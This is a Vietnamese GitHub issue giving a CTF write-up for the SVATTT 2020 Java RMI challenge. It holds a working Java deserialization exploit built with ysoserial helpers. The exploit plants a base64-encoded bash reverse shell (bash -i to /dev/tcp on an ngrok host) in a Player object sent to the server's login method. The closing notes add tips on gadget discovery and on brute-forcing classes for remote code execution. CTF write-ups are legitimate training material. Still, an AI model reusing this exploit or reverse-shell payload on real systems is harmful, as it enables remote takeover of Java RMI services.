Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SVATTT-Quals-2020: [Newbie] Java ascis_rmi_v1 #2

Open
vinhjaxt opened this issue Nov 1, 2020 · 0 comments
Open

SVATTT-Quals-2020: [Newbie] Java ascis_rmi_v1 #2

vinhjaxt opened this issue Nov 1, 2020 · 0 comments

Comments

@vinhjaxt
Copy link
Owner

vinhjaxt commented Nov 1, 2020

image

Đầu tiên, chúng ta tải các tools về

Chạy recaf

java -jar recaf-2.12.0-J8-jar-with-dependencies.jar

  • Chọn File -> Load

  • Sau đó chọn tệp ascis_player.jar mà tác giả cung cấp:
    image

  • Chọn File -> Add library

  • Sau đó chọn tệp ascis_service1.jar mà tác giả cung cấp

  • Tương tự với tệp ysoserial-master-6eca5bc740-1.jar

Sửa class rmi/ASCISPlayer như sau

  • Click đúp chuột vào ASCISPlayer
  • Sửa với nội dung:
// Decompiled with: CFR 0.150
package rmi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import rmi.ASCISInterf;
import rmi.Player;
import javax.management.BadAttributeValueExpException;
import ysoserial.payloads.util.Reflections;


public class ASCISPlayer {
    public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException {
        String serverIP = args[0];
        int serverPort = Integer.parseInt(args[1]);
        String name = args[2];
        Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
        ASCISInterf ascisInterf = (ASCISInterf)registry.lookup("ascis");
        Player pItem = new Player();
        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
        try {
            Reflections.setFieldValue (pItem, "isAdmin", true);
            Reflections.setFieldValue (pItem, "logCommand", "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5hcC5uZ3Jvay5pby8xNzg5NiAwPiYxCg==}|{base64,-d}|{bash,-i}");
            Reflections.setFieldValue (b, "val", pItem);
        }catch(Exception e){}
        System.out.println(ascisInterf.login(b));
    }
}
  • Trong đó YmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5hcC5uZ3Jvay5pby8xNzg5NiAwPiYxCg== là base64 của câu lệnh bash reverse tcp (bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/17896 0>&1)
  • Nhấn Ctrl + S để lưu lại
  • Chọn File -> Export program và lưu thành file player.jar

image

Exploit

  • Chạy câu lệnh: java -cp 'ascis_service1.jar:ysoserial-master-6eca5bc740-1.jar:player.jar' rmi.ASCISPlayer 207.148.75.135 1337 player1
    image
  • Như vậy là thành công
    image
    image

Ngoài lề

Để trigger được method toString thì mình tìm trên ysoserial:
https://github.com/frohoff/ysoserial/search?q=toString
image
Mình thấy được Payload Vaadin1 có sử dụng đến nó, cụ thể là class BadAttributeValueExpException. Từ đây, mình có thể trigger được toString và chạy được câu lệnh trên local.
Theo mình đoán thì tác giả dùng alpine, và team mình đã test thử các lệnh như ping, nc, wget, curl,.. đều fail, từ đó gây mất nhiều thời gian.
Hôm nay hỏi tác giả thì biết rằng server chạy ubuntu:latest và tác giả có quăng cho mình link để tham khảo reverse shell bằng bash với Runtime exec:
https://github.com/welk1n/ReverseShell-Java

Về bài 2, tác giả có gợi ý hướng làm như sau: Tìm chain có thể dẫn tới rce

  1. Brute-force class bằng exception mà server trả về (các class có thể lấy trong ysoserial)
  2. Server sẽ trả về sai SerialUID, sử dụng reflect để chỉnh lại cho đúng
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant